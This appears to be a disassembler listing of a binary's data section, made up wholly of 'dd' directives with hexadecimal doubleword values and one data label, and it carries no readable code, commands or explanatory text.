97E931F1h dd 0DF62C005h, 0C8B0D371h, 9FB60070h, 0A120C5ACh, 7771EC7Ch dd 4B099301h, 8441C08Ah, 78380FE4h, 81E70E36h, 9EC0EADAh dd 4611E05Ah, 1C04C24Fh, 0A8A83FBBh, 3B3C02A8h, 20F7AEB3h dd 0C0939E09h, 0C1A6CCh, 8D0D91A8h, 0CD79E0D8h, 5F98C712h dd 0BE57D400h, 3E25990h, 9D935DEBh, 5D0F625h, 0CE00518Eh dd 3763D0AEh, 47D88Fh, 904E9B3Bh, 0BDE7A7F5h, 3D615200h dd 0B3C6995Eh, 465F2A1h, 198A795Dh, 48A806h, 0E22C29E0h dd 17E8629Fh, 0C81FE52Dh, 0CF57A5Ch, 0FBE0022h, 0BCFD0C83h dd 0E7FAD9A1h, 0ED0A2F00h, 55C83236h, 0B92A0709h, 0A6833E4h dd 28E20090h, 523AE145h, 83A20C00h, 1984366Bh, 6DEB00ADh dd 0AB289FA7h, 0A000AF97h, 0DB531859h, 6E602Ah, 895F3946h dd 4088BCF9h, 0B600FC74h, 0BED2831h, 1E32773Bh, 0C0FF8650h dd 14CBE55Bh, 5D001E74h, 0A68EB465h, 83A076h, 6F1ABE2Fh dd 6810406Eh, 0E411960Eh, 3C76971h, 0F04D1634h, 7894C3h dd 0C1791276h, 0DA82C00Eh, 7E000C96h, 0CCF9D238h, 39E7004Ah dd 12E3B616h, 18006C0Dh, 7C736A9Fh, 0B0D679A7h, 0AAD807ECh dd 0F0390A01h, 4211DEA6h, 0C1FD1E04h, 4880EBC3h, 0B03F1C26h dd 1EC92CBh, 7D34062Bh, 603668FBh, 3740B18h, 0FD1B3F00h dd 54614AC9h, 0F417CB9h, 8CF014E0h, 0A0DBA5E6h, 20E6C325h dd 0E7DCB544h, 661A0006h, 9D895C94h, 0A008267h, 1057AF1Dh dd 70343F8h, 48F0B69Ch, 0C16F8E54h, 81D6F5C0h, 0FF003C9Fh dd 0A9A7B856h, 4A902CBAh, 0A8484762h, 68ED328Ah, 1F9654C0h dd 2B6E3100h, 48908008h, 0E9F70012h, 83B7D96Dh, 2E14EE3Bh dd 0CBB192h, 0BECD42D6h, 6094413Ch, 5ED8506Dh, 21003A89h dd 0F4C9450Ah, 2301533h, 1CA87ED6h, 0D8634052h, 0A9B235A0h dd 0F8803A90h, 850012DCh, 39C68BF7h, 0C0E1DAE5h, 759FFB58h dd 1D0FD8D0h, 60C44925h, 1691B1B4h, 0D9F00096h, 208AA767h dd 430445D0h, 0ED3323D4h, 82EDC80h, 99790042h, 0F86C0554h dd 0B600326Dh, 0FD9565C6h, 4462D3h, 561E3EC7h, 9AE99DE0h dd 0FA05737Eh, 799132B1h, 2C8D50C0h, 7FC23161h, 2B27B488h dd 1C569C28h, 7CABEEDAh, 0FBADA30Eh, 0E08648C4h, 374E66E4h dd 0CC913807h, 0E389DB6h, 9E953DBEh, 742E1240h, 0E00D377h dd 2D1390BAh, 1FF228C2h, 0C050F307h, 31D418A8h, 0C00FC14h dd 57FE1544h, 7DE4EE9h, 38327D99h, 8F73F0DCh, 84018337h dd 3A79B307h, 0DE205AF8h, 94D3002Ah, 0DB1224D5h, 0B52C6C10h dd 591F6F09h, 0A4BE9B01h, 0E8DFCDA7h, 83888Dh, 98A161Ch dd 87D5975Fh, 73994600h, 0EBF07D29h, 0FC8600A2h, 47DC9C0Fh dd 5C01AAEAh, 36ECFADEh, 0A2FCDA97h, 9F170308h, 0BE447794h dd 0D39C212Ch, 0C056640Eh, 511FD481h, 72631E15h, 0BB1A83CBh dd 5488AAA0h, 1E002B35h, 351CD66h, 1ECE3C53h, 408B6A31h dd 0C0FF4037h, 0AD001AB1h, 51248096h, 0EB3C489h, 65AC6DF5h dd 0F9409163h, 0C2083DB8h, 56527E00h, 0A5436EC6h, 0E1FFB863h dd 9B09C040h, 0EF270064h, 88E8BCAh, 8C071D57h, 0D787E8B4h dd 91FB86F0h, 0C62000D4h, 2A6F1FC5h, 9A03A108h, 0CC197F69h dd 933F9092h, 0ED11FFEh, 0C9C80070h, 0D4D636BCh, 1DE44900h dd 134E617Bh, 4F78F6h, 0FEB24247h, 0D2BEE971h, 1AE58406h dd 0F0AB80h, 0F3F5891h, 985E4CC5h, 385A900Eh, 0ECF2601Ch dd 0E5D9F19h, 0FBC96F9Ah, 0D81B9D60h, 4A000DF4h, 13957AA4h dd 19EB805h, 926DE201h, 0D09BDE84h, 97A3E4DAh, 0BCCF54F8h dd 194FD02h, 809E068Dh, 0EDDF83F4h, 8F79006Dh, 5542D066h dd 0F00F912h, 0B4EE986Ch, 0F681F3h, 0DEDB2145h, 9D336D61h dd 73BA830Fh, 301E92DDh, 4094AECEh, 9AE46909h, 0DC600D5h dd 0C16F362Dh, 990047B0h, 0EA62AE93h, 0FE381Ah, 0E3F6863Dh dd 33A05420h, 4B411600h, 398CFA17h, 8F0F1E4Ch, 42F08010h dd 2B5D7C9h, 1729D604h, 2E80DED5h, 0D19F6Fh, 98A32416h dd 0B22FCF1Fh, 8653CC00h, 9526D968h, 0D20C01D5h, 0B75AA40h dd 0D713D415h, 2E0ED078h, 8ABCC12Ch, 71048465h, 0A9C0C902h dd 0FD1092h, 53273364h, 166D03Bh, 2F0ADF03h, 0D05FBB7Ah dd 734DB2Ah, 1E949BFBh, 4236D050h, 267FD195h, 0D4FCA000h dd 0FA5FEDB9h, 871D0040h, 5E6A01A9h, 180023C0h, 21A26070h dd 64E85Fh, 0E79FE9ADh, 0BC931C6Ch, 52FF0300h, 0F57EC153h dd 62CC0083h, 1BA04E72h, 5E00C589h, 0B7D23039h, 0F46D3654h dd 0F72100B2h, 17A3AFB0h, 0CF007642h, 530577D8h, 0A93F27h dd 0CD04265Ch, 871A6614h, 0BD2C200Ch, 68DD80Eh, 0B5E3FAD7h dd 0B00180DAh, 652CD961h, 0B2F9CD46h, 26B6CCh, 0F470B144h dd 8A28B878h, 0EEC2721Fh, 436DA840h, 0BF397Bh, 6F419C36h dd 3556442Ch, 0F73F2E0Ch, 0E9C430EBh, 98BBD970h, 0E80A00E5h dd 64153295h, 0E300A773h dd 0D1FBCD3h, 26B80CFh, 54FF2FAAh, 0B6E05984h, 45068FBAh dd 2CAB8DEDh, 9E5A01A2h, 39A7EB99h, 20A0C5FFh, 4E12BCCCh dd 0C500F431h, 0C87A0168h, 44EC1Fh, 0A5E62384h, 0CA705B48h dd 0AC005490h, 0BC521EA6h, 0E3F4FFh, 1DF57DCEh, 508CD3A2h dd 0B142032Eh, 0EBBC2E01h, 99D0C447h, 0D39AA6h, 8CE93A81h dd 7D36719Ch, 22F32400h, 0ED50A518h, 0CF211D0Fh, 7F4BC033h dd 5B8748B3h, 79C6624Ch, 12C05400h, 7A3A2DD8h, 11CD05B0h dd 80383D16h, 0E4FB4E9Ah, 0FE3F88F6h, 8E818010h, 21031ADDh dd 6CC00DFh, 0D446E86Dh, 120F3571h, 6752C67Bh, 0C140389Bh dd 0E176D01h, 4479CFCBh, 9485E2A0h, 0B5029C83h, 0A6DD924Fh dd 0F2A44004h, 0DC29004Eh, 57CB597Bh, 0E707E2DBh, 0E5C758FBh dd 6530E0F7h, 367066Fh, 6222632Eh, 50F849DAh, 69004058h dd 91DE527Bh, 0C22C31h, 6D79F1Bh, 8A82DB3h, 78C91107h dd 3F60B79Bh, 90957403h, 25E43E2Bh, 0ED1B6200h, 30D5B10Ch dd 3302570Eh, 0BFEB803Fh, 0FA90874Dh, 66CB04B2h, 80C9B4DFh dd 32A32024h, 1F924902h, 0E1B02486h, 0F3D0D37Dh, 7F5B039Ah dd 764A3E5h, 9CB6E001h, 992D0961h, 451C20h, 8D9AAAA7h dd 0D2EFF028h, 0B884DC04h, 0C09225F3h, 0BBF76020h, 1ED705Bh dd 0EA7710F4h, 0F0163929h, 0B00C4F6h, 2BE8BB41h, 110E9AFh dd 3FD1565Fh, 30A0682Ch, 2503D3D0h, 3BCFB917h, 9C76D00Ch dd 7C370057h, 93F99065h, 0E90BD202h, 807DEAE8h, 1AC366Ah dd 0D3860A0Bh, 0FCFCAFh, 0E5932AB8h, 32006058h, 2350527h dd 115D554h, 64E4A709h, 0F0DC936Dh, 4E07B10h, 8278A2EEh dd 9D884E03h, 8055C212h, 418A10Dh, 7288BE4h, 0A7FC800Fh dd 7900F433h, 0F96D8EAFh, 0CD0CF6h, 8AB0D60Bh, 42142BDEh dd 98496E00h, 0DFD8DD18h, 16F81C9Fh, 0A900F850h, 52E87F2Dh dd 3C3B0259h, 8DB7008Fh, 4967CE5Eh, 6F960E9Fh, 7100529Ch dd 13CBEF11h, 0F40B6000h, 0E24E03F2h, 1C274BDh, 99969C26h dd 0FA3163E6h, 0A3D18BE0h, 0ADF17602h, 80DF91C2h, 702A62B4h dd 0DC1E371Ah, 0D4174010h, 2D1BB21Ch, 0A0FEF2BCh, 13254EFBh dd 60920761h, 0A344E96Ch, 868BFCA0h, 0A6B0DF17h, 1FFC6B14h dd 0D48BEABEh, 7300074Eh, 45C9E070h, 0C49700A8h, 4F1480B4h dd 3F1C8EDAh, 7AC0C1C5h, 57636486h, 31F6A1h, 0C824E24Dh dd 38EF2518h, 9E4FA300h, 0CB7B1947h, 7E824CBBh, 88815800h dd 6DAB5D5Eh, 0CBC5A00h, 0A2D367F7h, 90500083h, 331E7741h dd 0EB00DB63h, 0C1DA11C0h, 26A887h, 0D6B677Fh, 0E3B91B02h dd 6686140Eh, 755D63BEh, 4652C8EFh, 87C2489Eh, 0B86BB600h dd 2F7660D7h, 516FAA00h, 85FE1737h, 0EA820021h, 42927F66h dd 9A00BE5Dh, 0ADE5F7Ah, 1F417920h, 0C0C11E11h, 26838244h dd 990A3B2Eh, 0BE236DFEh, 0E8EA6101h, 0E03B4A43h, 9E00FA9Bh dd 9DA7CB63h, 0B15D34h, 22B30340h, 0E3327E0h, 3C907B73h dd 8A0FD800h, 0C26DF081h, 50D90B4Bh, 970078FEh, 0B9939442h dd 0BF0010B0h, 0F14BC30Bh, 0F71FF23h, 0E7581A9Bh, 1601E12h dd 53DB50EBh, 3C89F4F4h, 6C095E00h, 0A1D05AD5h, 32F500CEh dd 23F371C3h, 1BF8F242h, 5B9781C3h, 10C6AC0Dh, 7A090059h dd 0EE926B91h, 40D68ECFh, 200F344Ch, 10761D33h, 180CA8DCh dd 51E4C7B9h, 0EE00887Dh, 170F0622h, 9456DAEh, 62569B27h dd 66440080h, 8C007241h, 0F90DB15h, 2793A6h, 34CAB702h dd 8B71B38Dh, 0C54EC400h, 0EA36253Bh, 3AB88Ch, 0C4C29DEh dd 40D38218h, 11C8CF0Eh, 67B92272h, 4237C17Dh, 1CF874D8h dd 0C0E7607Eh, 61C754DDh, 3F0387DCh, 51A4550Fh, 0AB81CD9h dd 0EFAC4016h, 8811B4BDh, 86CB4B0Fh, 53A88735h, 6907204Fh dd 6094EC18h, 7E5CE0C7h, 97003022h, 1B55752Ah, 0E8543242h dd 721C095h, 4773357Dh, 0A87A4407h, 0FDD3C15Fh, 994CD0A5h dd 81DA05BCh, 0AD1CF07h, 563068A0h, 1D00BB46h, 2E4BC11Ah dd 12003B24h, 204D05DDh, 0A6DA046h, 3CE0DE86h, 0A67E0174h dd 2470570Ch, 4E0EB86Ch, 6162819Ch, 3D87D767h, 512808AAh dd 53F4A20Ah, 0EF280044h, 0E187E093h, 0AD0390CBh, 0E46C393Eh dd 9703E7A5h, 881805EBh, 0D00278DDh, 0D57CD8A4h, 26011DFCh dd 8E7AEED0h, 44D2DC21h, 0CD4E003Ch, 0A74705FCh, 263B7EFFh dd 4A6F0078h, 28A66DAAh, 1C3C0C2Bh, 8768DD9Dh, 90CE4C00h dd 116F9C27h, 4F9200D8h, 8460C82Bh, 0F91DD9A8h, 480072BDh dd 9F09A7Bh, 0F740038h, 61F26FFAh, 72014587h, 96FE3B90h dd 0B4F00B85h, 9E9A00B0h, 2DBF5604h, 3900654Eh, 0DD8C82C8h dd 3F01D7FFh, 0E80CCB9h, 9FC1F9E8h, 0C00190Dh, 882C45EEh dd 3AF7DCh, 8F34F253h, 9F89B4C2h, 5B31E000h, 0ADAC8B4Eh dd 43CA03E6h, 36BAF547h, 210B3AA3h, 0ACE790h, 0F6B33556h dd 696A00B2h, 0A997C582h, 28C2AE5Dh, 603CC750h, 3C4C7138h dd 0F580785Ch, 0E5E1B1C4h, 5400EB85h, 0DD7731E3h, 3D369C90h dd 5CB11A6Eh, 0F8C7A840h, 0A00BA4Bh, 0F523FC11h, 14EE312h dd 6C81962Ch, 8053ACCFh, 3004AE20h, 52EE34ABh, 0C0C2201Dh dd 91866DFh, 7E330C50h, 51305A23h, 29018476h, 0F67282C5h dd 88C1AB0h, 62205B64h, 4424CD03h, 0ADD25168h, 303F841Fh dd 4F0A71BDh, 0F4A300ABh, 0B2598376h, 0CD0006EDh, 922BC91Dh dd 306E345Ah, 565137ADh, 8173754Dh, 9C71FD0Ah, 63E9059h dd 0A6ECC73Eh, 29A47B60h, 8FCC88B8h, 1BC4D7BCh, 7938D2h dd 8CB4D664h, 8AA41109h, 1D295F00h, 0F8C3A8FBh, 527400C6h dd 0B9E5CEC9h, 0C0A15748h, 8CEDD950h, 9056E9D1h, 0AE728C4h dd 0A390C4D8h, 10C01D59h, 0AB0BD28Dh, 9920633Bh, 81009192h dd 0A5A8B921h, 19DCBDh, 0CC4AA193h, 80CFBB9Dh, 0D9D69230h dd 1B4E2AAEh, 11F237ABh, 0EBBD57F8h, 7C0CFE74h, 82D6052h dd 2021C056h, 0EDCDBD7Eh, 16128B19h, 8618D640h, 0F92900B8h dd 531120AFh, 0BEE1B700h, 0D0E62B3Fh, 8B6FC200h, 0F9C366B2h dd 12E0145h, 7BA617C4h, 80C671ECh, 345720D1h, 580C5ABCh dd 840036DAh, 0BD136D18h, 0E0246C36h, 126F883h, 0EE492501h dd 0DC513E75h, 280C89E4h, 8D7AD704h, 61324232h, 0AC90B520h dd 0C7340004h, 12E34B10h, 0A509E7AAh, 2F48B19Eh, 9314E1A8h dd 11805F07h, 8E1C36Eh, 0A6149144h, 2838DA32h, 0AA46909Ah dd 0F6BD7201h, 0C7D8FFEh, 0FD2388E8h, 80F6BE01h, 60A540ADh dd 635207E8h, 0FAF20F5h, 395C90DCh, 9B186E33h, 0E9895CD6h dd 4EA30071h, 0E196CAF6h, 9E0C9D33h, 91AF9241h, 0AE050F4Dh dd 0D6005440h, 0F48779E2h, 1CA7B100h, 0B65D7FA5h, 0A07060DAh dd 59799817h, 807C2A49h, 1B60AC8Eh, 54448C02h, 0AC960197h dd 57060734h, 53D0F782h, 9A00EA5Ah, 0DA74251Dh, 31AF39FDh dd 89C93012h, 4C19E18h, 3D326F40h, 3BF3C906h, 1C827B7Dh dd 20704271h, 3129B6C0h, 884C5F28h, 90AE150Ah, 7B408007h dd 32A48F6h, 239D9233h, 8187CD1h, 1B209CB9h, 6A4B00FEh dd 0BEA4F9BCh, 34392EE7h, 15663B1Dh, 80D4AC4Fh, 0F884BD74h dd 0C364917Fh, 427C8735h, 40AA5501h, 0B001CAE9h, 18A580CCh dd 0E1421278h, 0FD5557DAh, 83C0E2E0h, 98A84889h, 8400A4BFh dd 7B8ECDBBh, 1F6E51E4h, 0C26FB13Dh, 94AA3374h, 7F1C9060h dd 3F457686h, 3A1C5BAh, 3841695h, 0E524ABA3h, 650A7F1h dd 8B2ED4h, 2A6796E2h dd 0E75036A8h, 6001B89Bh, 22C29D21h, 0E6885918h, 0EC2400DAh dd 1B4A7B66h, 0A8A8B313h, 0C81F620Ch, 0D880CBD7h, 0BCAB7C28h dd 35F90332h, 4A063EF6h, 38F5E901h, 308BDB6Ah, 56AE12E8h dd 87CDCE5h, 7A337F52h, 1C4FC4C4h, 0AAD501B6h, 0D4EE98D9h dd 0D606758h, 4EF472A1h, 0B1309BFh, 0B9006B40h, 0A104C6F5h dd 5BF8AA18h, 92343E29h, 33F21Ch, 4661C2B7h, 4389B59Eh dd 232868D4h, 52A101E7h, 188A3499h, 464140E5h, 9B4BC900h dd 37E4284Fh, 5642003Bh, 0B84A8EAFh, 0DF137D29h, 1C23C49Eh dd 8339B835h, 464C985Ch, 0D7BD01E1h, 36BA8D07h, 0EE89A70Ch dd 0C3AC20h, 242F638Eh, 9D9340F5h, 2C2B2E24h, 50514A4h dd 5888F251h, 5C30A493h, 8D1345B7h, 0A07C622Ah, 0AC938C20h dd 65DF0AE9h, 8088EB3Ah, 4683E595h, 0FE0FAD92h, 20A7CB2Ah dd 97B55F71h, 0D84F0024h, 0FAE4B136h, 8A00F906h, 9BB7A332h dd 0AA17F2C4h, 9D9840BCh, 50FB2058h, 0C549BB74h, 0CF828E40h dd 0C47248B7h, 704958h, 0AD373168h, 2F981F55h, 0B8A7DB49h dd 834B82F8h, 84A8ED73h, 577DF8B1h, 715F2901h, 2AB7C318h dd 68312C8h, 0B2916DB6h, 0AB989961h, 383E8F30h, 0B001C406h dd 0B8180520h, 82BF4BE2h, 94C6E04Ch, 7A701091h, 0A300863Eh dd 0E9773D73h, 0A8A3B17h, 0C844DB94h, 0BD084024h, 9F21F888h dd 77917Dh, 96BD7099h, 1397B110h, 827674h, 0EBD4C3ECh dd 86741D53h, 0CE05BA1Ch, 40AF0C85h, 0E39C3AC0h, 0A6AA0720h dd 4087A35Eh, 0D455041h, 52968103h, 88F42B5Dh, 1771DC9Bh dd 7F01C72h, 8095CE4Ch, 8D8366D0h, 1E00A8F2h, 79A3D02h dd 0F62F43h, 62D1D5B8h, 56BCB15Eh, 0C1E3F40Eh, 6C1AE057h dd 0AFA9A5h, 273CCE48h, 4462ABC4h, 87A73D00h, 0E48FCF85h dd 1EC77AF7h, 769ECA1h, 90DAE897h, 0A5026FA9h, 671A2900h dd 4FC5CC0Fh, 8CAA00F1h, 6FB08535h, 64008F1Dh, 3AB34E5Ch dd 3C6E77Fh, 0D39B7721h, 801F1B12h, 18C75C43h, 3A91EB55h dd 7E70D7F1h, 0F8EC0050h, 3D6BC9E2h, 2E006205h, 8660C688h dd 11BBE37h, 0CEF1CB4h, 0D5FFCFD8h, 0B5CBE49Dh, 0DA9A0101h dd 2D3A6ED2h, 923040F2h, 0C57799h, 4F3516E3h, 0DF883139h dd 0E1C48A00h, 196030F8h, 92032EE6h, 0B05C0094h, 637D1DB5h dd 41564Ch, 54D5CE79h, 0F39FECh, 0A587A9C5h, 0E2C35AC4h dd 0CD6F9900h, 14D8F53Dh, 0E35C0372h, 0B282D0FFh, 79174418h dd 1494E6C0h, 0A07C7283h, 680F913Dh, 7DA00F8Dh, 0D4548087h dd 0AC361200h, 4EEB7A39h, 5E500151h, 0EF43D5C8h, 92E2C4C7h dd 0CDE70D03h, 0D849F9ADh, 3D7574DEh, 818046C9h, 0D97A6639h dd 0F00052DDh, 4EE03EE9h, 6C0694h, 175F02E3h, 3957601Fh dd 2E533400h, 453C3D95h, 5D0903BEh, 98C854E1h, 0EE4B48E8h dd 4C003E76h, 6B0D6FDFh, 783691Ch, 40F6B9E7h, 8ED9109Dh dd 82796E12h, 0AADAE900h, 6BA8156h, 30A5008Ah, 39350841h dd 0B200332Bh, 9F1F76DAh, 7C75D3h, 43E70960h, 0EEF31602h dd 0FF9B8500h, 6C7B147h, 0A16F48AAh, 6A09AB00h, 865E3258h dd 80348300h, 29CFF0DBh, 0F5100067h, 2874037Fh, 0EF75ADAAh dd 9941ED60h, 18BE81h, 8FCA13EEh, 7B3AE47Ah, 73B78701h dd 5DE07835h, 0C4E1CCh, 2B15C649h, 0E707CB5Ch, 58BD421Fh dd 23F8003Ah, 0F975C39Eh, 3B6E1241h, 3EA60084h, 0DEAD2CCDh dd 0EE1C6901h, 8EF1287Dh, 18FDAE0h, 0EBD020FFh, 0FCFC7B44h dd 5D00550Dh, 8DBB6DB1h, 0F4995EB7h, 7FD100DEh, 24825412h dd 4D02A2E6h, 0EADCAB08h, 0E0C0A06Ch, 1D776717h, 0C3EB846Dh dd 323B3D24h, 6ED160D8h, 30195A7Fh, 1D09822Eh, 4BB72185h dd 0AC2490D6h, 0EA0E9810h, 0C0749ED3h, 3D773230h, 0DCF206BAh dd 60514809h, 8FE15421h, 0A0C2D653h, 0AC1B4DDFh, 160B5C48h dd 0FFD100A0h, 736CF886h, 84AE00B5h, 32F0BB97h, 0A3189639h dd 5B70332Dh, 56EE0007h, 2B3B7BCCh, 8CC73BAh, 17E9135h dd 3C1DEDBEh, 806D0198h, 0A9398394h, 67703754h, 60802947h dd 4973C1AFh, 1C98AE0Fh, 3BCA8013h, 1DD3BFh, 0D2F0DD85h dd 8476F4B6h, 335113Bh, 75A6ADA4h, 7763A88Eh, 0C23407D9h dd 0A312DAFDh, 0D8002823h, 16C4205Ah, 0B0B63E1Ch, 0E57301h dd 7EB824EFh, 8F38A851h, 3E1D8200h, 4D6C1E3Bh, 20705386h dd 0A2B7EF82h, 3653D18h, 43495789h, 0D00135D2h, 4A3E803Bh dd 4BE07B6Dh, 120CA001h, 0DA8F1E61h, 2D40C35Dh, 83005B8h dd 0A8A02164h, 0DA540096h, 0B4C96FA6h, 4A2872E7h, 0EE499E60h dd 0D1F58018h, 43EF5A13h, 37F224Ch, 15D64D42h, 8DF028B0h dd 3F54C309h, 410238B8h, 47AF4E01h, 5D9660BEh, 40751DDEh dd 493AC111h, 9F2FFCC3h, 7C807748h, 8923BFD4h, 0BD1B0E14h dd 0AA811557h, 0D81C3238h, 283BC9B2h, 1352805Dh, 0B0C3EBD7h dd 37770B7h, 2B6D172Eh, 0B5A80E1Ch, 63C4681h, 4B740024h dd 543B44C6h, 0D4201907h, 0A0A50822h, 0F0002C20h, 0FB4FE3E0h dd 305BBh, 0DE9CD22Eh, 27FC936Dh, 6541C00h, 886BAEA5h dd 0B240061h, 92399DD5h, 0F400A4FCh, 7958E663h, 63DCB50Ah dd 1C513804h, 208FECE2h, 18A62960h, 5E07484Ch, 5F2AAAF8h dd 215046h, 97ADB143h, 9A211252h, 67DE5E0Fh, 93720011h dd 3CCBD11Bh, 950E8C68h, 0A260FA87h, 0F0547CB8h, 3FC74E3Ah dd 8EC09FA8h, 0F7EB7E83h, 96E2A936h, 0E8E71BDCh, 0D27D3Fh dd 0EFDB451Eh, 9ED02199h, 0BC5AEC03h, 0A804A0E1h, 0CC6254Ch dd 44AEE4D2h, 0EB449528h, 6C14417h, 8B8024F2h, 1BA40B5h dd 449D3444h, 0D644E26Bh, 11AFA343h, 835BD28h, 11E092CDh dd 0FF8917EEh, 23E6800Fh, 0C0F5FC60h, 38CEE49Bh, 573AC9A2h dd 0F4DAC280h, 0F96E8E9Eh, 1070D500h, 0E8E6DC87h, 85A700ABh dd 2BAA9DC2h, 34006B89h, 7048EE54h, 0EBFC97h, 90C3D0F0h dd 969CA8D9h, 0F899E03Eh, 3ECA9100h, 4F9F0D2Fh, 0EB9E007Ah dd 0FED166BDh, 87178E27h, 19007418h, 0D24AD4AEh, 0EDA30319h dd 359E8861h, 4D2A1DB8h, 0BA284CE6h, 0D101BC01h, 0A9DDFD07h dd 0CB3028DBh, 97540056h, 39E65F45h, 85000858h, 0D7DD2747h dd 729F64A1h, 8602005Ch, 67B33C1Eh, 70C0BB18h, 6A442EB6h dd 550E007Eh, 2133D738h, 0BB06E6A1h, 9BAC90BDh, 6A010028h dd 0E4AE752Eh, 2EB88991h, 20530F00h, 7D1F455Eh, 4A6612F0h dd 0FA080EC6h, 953435C0h, 85F48AA5h, 6FECA200h, 0D0378365h dd 1AF659h, 54B411C8h, 7498A37Dh, 4AB21E00h, 0D97201D5h dd 0B5CA170Ch, 491F0076h, 297D6C4Bh, 740E2B7Ah, 1DFB64D4h dd 9FC1E0ADh, 39FE0083h, 4612A277h, 5D00BF17h, 0D9862CB2h dd 0DF2313h, 404DE316h, 1FA6486Ah, 9BBA7300h, 90137843h dd 0AD8B4835h, 1DAB707h, 0AE65308Eh, 0CE007B63h, 0F3271D24h dd 0F59A872h, 8BBEB70Dh, 9702120h, 0FF0EFD08h, 4EDAE70Bh dd 0CAE264B0h, 8CC03BC4h, 1816D5h, 7D475F66h, 14F2AD6Eh dd 0E8210700h, 787F8569h, 4BEA42h, 59106A50h, 0FABD47C5h dd 0A3D40400h, 0C32C9870h, 0E99000AEh, 2826167Fh, 5500A2B1h dd 20AC6FEFh, 5A68E4h, 985D6592h, 88D11A61h, 0D8793Bh dd 30F51BDh, 0A469D4h, 0F3BC3DDCh, 0FDD3AD75h, 0C3B60D01h dd 2506AF41h, 89ED5880h, 0E9CFBB9h, 0B36C2400h, 72211952h dd 927404BFh, 80F73D16h, 11BA9699h, 5298A800h, 0CA03B30Bh dd 4980008Dh, 0DC1226FCh dword_51B448 dd 282C5D30h, 3403E66Dh, 98F3BF74h, 0F799CCh, 0C3DD980Bh dd 734FF6D2h, 6BCEC600h, 0FF86A31Bh, 5B74073Ch, 300678FEh dd 4B54E684h, 0BC427300h, 0F515B209h, 64B0035Ah, 97B61CDAh dd 0F8C93D98h, 3A00837Fh, 0A586F56Ch, 456F68h, 0A4154FAFh dd 0D0413BC4h, 72C3E000h, 39195FFDh, 0AE6F00DEh, 8CB0F71Bh dd 970471EDh, 0CE141677h, 0B3095380h, 9A150EE7h, 4B20BBE9h dd 609B0F88h, 1400197Fh, 840D95Fh, 3E28AE64h, 0B83C91F6h dd 0E2C2D700h, 0A970AC76h, 2BA82A00h, 32397915h, 68F30010h dd 9F5735A4h, 365051D1h, 0E513A188h, 9C004079h, 9D97437Ah dd 0C4740719h, 90BD0AF6h, 0B99B20ADh, 4218905h, 1EC08ECBh dd 24F3AAF9h, 385235h, 61970715h, 3C713B6Fh, 0D4C0C1Ch dd 76E95C40h, 3A67EBBAh, 709C50D8h, 7E4B802Ch, 0C3C58506h dd 21DE1901h, 0CCDC3094h, 566160h, 7D3AE723h, 0DEE98BECh dd 3241FF16h, 85DAA900h, 0E6E7E622h, 688762Ch, 9176FDBh dd 56FA1055h, 64676100h, 73840151h, 0D4B20380h, 33D09AFEh dd 2AD8E580h, 531D397Eh, 0D580236Fh, 198CE429h, 0C0E8003Fh dd 3A7424C9h, 9800F1DAh, 0B1EFA055h, 0E6859FDh, 1682AEAAh dd 0B030B3C0h, 9D00FB57h, 6DE338ECh, 92F715h, 56D2822Dh dd 1A707A96h, 3408890Fh, 94BD0350h, 4EC1D829h, 0DFCA0043h dd 0EED76466h, 331EE7A5h, 9340857Dh, 1BB36F23h, 0CFDA0F17h dd 0FBCFE6E8h, 22C1A9E3h, 0AA853CFAh, 1E5AC009h, 9A0CF899h dd 28C4BD60h, 51500095h, 0FD14E775h, 34B82631h, 0C5D17A00h dd 9E0F898Ah, 34442C83h, 75303C5h, 1A8096F1h, 8E3CE4E5h dd 7393802Dh, 38153C02h, 566807C7h, 709FF225h, 0BC5B474Ch dd 12F3EB00h, 8DEF747Eh, 0E3770093h, 64E1FC3h, 81005A9Ah dd 535B61BEh, 77FF082h, 8D1432B1h, 90AE279Dh, 5B0F1BB0h dd 612AF503h, 0B0183C96h, 94441Fh, 0F86EDEA3h, 9E828C9Fh dd 5CBB5700h, 0FAA1B9EDh, 35CB0137h, 0E00B6E1Eh, 0E6EAF892h dd 0C4C33200h, 80E11B9Ah, 4F190744h, 40D1FEA2h, 5940907h dd 0CC74B37Bh, 873BCF00h, 5BF7CED7h, 734370B1h, 96B21DE0h dd 0EE8D4002h, 0D08CF97Ah, 2E11E3Eh, 0E7FB79ACh, 27D8A95Dh dd 1DD0CF34h, 0F0C11B9Fh, 0E0509085h, 0F0A92637h, 467F005Ch dd 0C986E0Eh, 96002D74h, 0B159A6F2h, 0EEBB38D3h, 0D63902EFh dd 3ECDBFCEh, 40899C40h, 19E22817h, 3B96D100h, 6C2B10h dd 1CC8AE0h, 0C424B020h, 9A058300h, 0B4DEC05Fh, 45D80084h dd 0FF59554Bh, 7000A44Eh, 8ADA9474h, 98768C63h, 5FFCECh dd 6BCB2B03h, 0CC4C373Dh, 0FA2A3Ah, 0F5D1C1CEh, 3E7C1B44h dd 7F803839h, 59D39C55h, 40C077F7h, 0C54CA15Fh, 0BA29009Eh dd 0C9738863h, 45F064AEh, 218DC0F1h, 1BC3F000h, 0F65AE37Bh dd 14E509FEh, 388F76FFh, 29D7840h, 0DE78564Ch, 8329700h dd 61B3943Bh, 13E90752h, 40985B4Eh, 3464BA5Ah, 87409639h dd 62A7BE82h, 0F03759F3h, 0C709EFAh, 57D01417h, 0A9005DC0h dd 0C21971B4h, 0E35863D7h, 0A5EBECh, 72774134h, 39A41A21h dd 0BFEE500h, 739479E4h, 44934C35h, 3C37E6C0h, 0C102B6D4h dd 487BB1E2h, 3AA6E1FCh, 73064730h, 59AF0062h, 4CA5223Fh dd 7E09CDC8h, 0DEBC5E1Bh, 425D03AAh, 0C1F89863h, 760F7ABEh dd 0A062D4B5h, 6937EACAh, 82720134h, 991DD9C4h, 0EF30703Bh dd 0EC313F00h, 0D2CFDF7Ch, 0B2C70047h, 0BA931BC0h, 0D8F133F8h dd 1A1D92FFh, 42003BBBh, 0A520C097h, 1DF30050h, 0B339C4E4h dd 0F650496Fh, 0A100AAD0h, 0A972B8A6h, 0A0675D06h, 1D2577A7h dd 5EC9C6Ch, 80DEFA39h, 600A0160h, 0DAF98960h, 71B126Fh dd 1A0F7F94h, 80F8F507h, 0B5DD4B8h, 0F34F8200h, 753D1B7Dh dd 72F3BE6h, 0C2107FB0h, 0DB3C878Ch, 0F97036Ch, 87A70C5Dh dd 0CF5700DBh, 5E2F5Fh, 0A2AC8F26h, 40EE322h, 0B0688200h dd 2B87B6F2h, 4D9B00A5h, 0CFFB9B3h, 3503B8ECh, 3E761B77h dd 0C8509BE6h, 0C990E9h, 52D94F2Fh, 9A473CDDh, 9C633D00h dd 0B50141BCh, 0FCEE00FDh, 160C8374h, 